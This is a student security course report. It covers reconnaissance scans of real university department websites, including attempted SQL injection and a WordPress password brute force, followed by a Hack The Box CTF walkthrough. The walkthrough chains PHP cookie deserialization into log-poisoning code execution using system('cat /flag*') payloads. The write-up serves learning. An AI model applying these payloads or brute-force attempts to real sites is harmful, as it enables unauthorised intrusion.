- 因為想學資安,想透過這堂課提升自己的相關知識與觀念
- 原目的:實作、練習資安攻擊,嘗試控制系網或是獲得敏感資訊
- 修改目的: 可能系網真的太安全了(或是我們能力不足,所以改作偵查結果報告及 CTF
- Kali
- 駭客工具包
- Nmap
查水表的- Port Scan 王者、OS 版本、應用程式版本
- Nikto
- 好用的網頁漏洞掃描
- Skipfish
- google 開發的掃描工具(很久沒更新了
- OWASP ZAP
- OWASP 的網頁漏洞掃描程式
- 其他針對性掃描工具
- WPScan、Joomscan
- Burp Suite
- GUI 抓包神器
- 到 Kali 官網找到對應的 image 下載
- https://www.kali.org/get-kali/#kali-virtual-machines
- 下載完成後引入 VM 即可
- 為了執行工具方便,以下使用 kali linux
- 以下結果有些因忘記保存,所以日期是近期補掃描結果!
- 系統及服務版本探測:
┌──(kali㉿kali)-[~] └─$ sudo nmap -sV -p 22,80,443 www.econ.ncnu.edu.tw Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-11 05:39 EDT Nmap scan report for www.econ.ncnu.edu.tw (163.22.17.239) Host is up (0.020s latency). Other addresses for www.econ.ncnu.edu.tw (not scanned): 2001:e10:6840:17::239 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.10.3 (Ubuntu) 443/tcp open ssl/http nginx 1.10.3 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.66 seconds
- 資訊 : 22 (OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0))、 80 (nginx 1.10.3 (Ubuntu)) 、 443 (nginx 1.10.3 (Ubuntu)) port 開啟
- 搜尋 OpenSSH 7.2p2 是否存在已知漏洞,發現可能是username 窮舉,所以並未進行測試
- 結果: 可能可以進行窮舉,但會花費許多時間,且還需暴力破解密碼
- 資訊 : 22 (OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0))、 80 (nginx 1.10.3 (Ubuntu)) 、 443 (nginx 1.10.3 (Ubuntu)) port 開啟
- 系統及服務版本探測:
- 資訊 : 80 (IIS/7.5)、 135 (Microsoft Windows RPC) 、 443 (Microsoft IIS httpd 7.5)、 445 (Windows Server 2008 R2) 、 1027 (Microsoft Windows RPC) 、2000 (cisco-sccp?) 、3389 (ssl/ms-wbt-server?)、5060(sip?) 在 oracle virtualbox 上執行
- 結果:已知是由廠商維護,所以沒有花太多時間在此系網上
- 篇幅考量,詳細版本請見:LSA期末偵查總報告整理
- 資訊 : OSVDB-1210 、 OSVDB-3092
- OSVDB-1210 : 檢查後,可能不存在漏洞
- OSVDB-3092 : 檢查後,無可利用資訊
- 結果 : 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。
- 資訊:
- nginx/1.10.3
- 可能存在 CVE-2017-7529 Remote Integer Overflow Vulnerability , 但漏洞腳本測試未通過,可能已修復,但建議更新
- robotrs.txt 與 OSVDB-3092: 大部分到空白的頁面,除了 /administrator/ 進入Joomla 控制台 (嘗試注入攻擊)
- OSVDB-578:
- 應該是 CVE-2000-0984 CVE-2001-0537,應已更新補丁
- OSVDB-4908:
- 測試失敗,應該漏洞已修復
- nginx/1.10.3
- 結果: 程式有檢測到可能存在的漏洞,但應都已修復。
- 資訊:
- /manage/ 是該系廠商登入系統,嘗試進入失敗
- 嘗試忘記密碼或忘記帳號,試圖 SQL injection 但未成功
- OSVDB-12184 :
- 檢查發現這些是 PHP 復活節彩蛋,大約會在 PHP 5.5 版之前
- 此彩蛋檢查後,應該是沒有漏洞,但仍被建議禁用
- OSVDB-3092 :
- 只是不同分頁
- /manage/ 是該系廠商登入系統,嘗試進入失敗
- 結果: 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。
- 資訊 : 經檢查似乎並不存在漏洞(未確定
- 結果 : 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。
- 資訊 : 經檢查似乎並不存在漏洞(未確定
- 結果 : 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。
- 資訊 : 完美
- 結果 : 完美通過測試
- 資訊 : 可能存在 reflected XSS 、 SQL Injection 漏洞
- 排查 reflected XSS : ZAP 在自動化掃描時,檢測到能輸入 onmouseover=alert(1); 且又能送出交由 server 即判斷可能存在 XSS,但實際上未能成功執行 -> 漏洞不存在
- 排查 SQL Injection : 警報的頁面是某老師的個人資訊,經檢查似乎找不到有與 SQL 語句相關的地方
- 結果:應用程式有通報疑似漏洞,但排查後並可能並未存在。
- 資訊 : 可能存在 reflected XSS 漏洞
- 排查 reflected XSS : ZAP 在自動化掃描時,檢測到能輸入 onmouseover=alert(1); 且又能送出交由 server 即判斷可能存在 XSS,但實際上未能成功執行 -> 漏洞不存在
- 結果:應用程式有通報疑似漏洞,但排查後並可能並未存在。
- 資訊: 中等測試通過
- 結果: 測試通過
- WPScan
- 資訊:補掃描後無明顯漏洞,(但記得曾經有找到 Wordpress 3、4 個帳號名稱,有使用暴力破解,但執行七小時後關閉
- 結果:曾有掃瞄出帳號名稱,但未成功暴力破解密碼
- joomscan
- 資訊:無檢測到漏洞
- 結果:測試通過 (因 joomscan 久未更新
資管系 | 經濟系 | 諮人系 | |
---|---|---|---|
Nmap | 無 port 可利用 | 22 port 開啟 | 8 個 port 開啟 |
Nikto | 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。 | 程式有檢測到可能存在的漏洞,但應都已修復 | 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。 |
Skipfish | 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。 | 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。 | 完美通過測試 |
OWASP Zap | 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。 | 程式有檢測到可能存在的漏洞,但排查後應並無漏洞。 | 測試通過 |
針對掃描 | 嘗試利用結果暴力破解(未成功 | 測試通過(應測試軟體過久沒更新 | 無針對測試 |
- Capture The Flag
- 以駭客的角度進行演練(紅隊的測試演練)
- 透過各式資安能力找到漏洞並針對漏洞攻擊
- 攻擊成功 ➡️ Flag 到手
- 題型:Crypto、Web、Pwn、Reverse、Forensic、Misc
:::info Pre-Knowledge
- 開發者工具 - Network(
f12
)- 查看網路封包
- BurpSuite
- 開啟瀏覽器 Proxy
- 用 BurpSuite 監聽 Proxy
- 攔截封包
intercept on
- 修改封包
send to repeater
:::
- 先用開發者工具看看封包
- 逛看看 source code
flag
HTB{f4k3_fl4g_f0r_t3st1ng}
Leet(駭客語):fake_flag_for_testing
index.html
index.php
<?php spl_autoload_register(function ($name){ if (preg_match('/Model$/', $name)) { $name = "models/${name}"; } include_once "${name}.php"; }); if (empty($_COOKIE['PHPSESSID'])) { $page = new PageModel; $page->file = '/www/index.html'; # here setcookie( 'PHPSESSID', base64_encode(serialize($page)), time()+60*60*24, '/' ); } $cookie = base64_decode($_COOKIE['PHPSESSID']); unserialize($cookie); # unserialize 完後就會去找
entrypoint.sh
# Generate random flag filename mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`
Dockerfile
COPY flag /flag
nginx.conf
user www; pid /run/nginx.pid; error_log /dev/stderr info; events { worker_connections 1024; } http { # 關閉伺服器資訊與版本 server_tokens off; # 自定義日誌格式: # $remote addr:Client IP # $remote user:客戶端使用者名稱 # $status:response 狀態碼,1xx 是訊息 , 2xx 是成功 , 3xx 是重新導向 , 4xx 是用戶端錯誤 以及 5xx 是伺服器錯誤 # $request(可控):完整的原始請求行(含存取方式),如 "GET / HTTP/1.1" # $http_referer(可控):請求的 referer 地址 # $http_user_agent(可控):Client 瀏覽器資訊 log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" '; # 日誌寫入路徑 + 格式 access_log /var/log/nginx/access.log docker; charset utf-8; keepalive_timeout 20s; sendfile on; tcp_nopush on; client_max_body_size 1M; include /etc/nginx/mime.types; server { listen 80; server_name _; index index.php; root /www; location / { # nginx 會去尋找 $uri 檔案是否存在,找不到時則回傳 /www/index.php?$query_string 這個檔案出去 try_files $uri $uri/ /index.php?$query_string; location ~ \.php$ { try_files $uri =404; fastcgi_pass unix:/run/php-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } } }
- 將 Host 上的 Cookie Decode
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}
- LFI 測試 :::info LFI
- 訪問日誌
- Encode
O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}
放進 Cookie
- Encode
- 嘗試 LFI to RCE
<?php system('ls /');?>
- 確認 Server 執行的結果也會寫入 Log
<?php system('cat /flag*');?>
- 蕭仲廷:排查系網漏洞、CTF 尋找及應用 、文書、資料查詢
- 朱珮瑜:排查系網漏洞、CTF 尋找及應用 、文書、資料查詢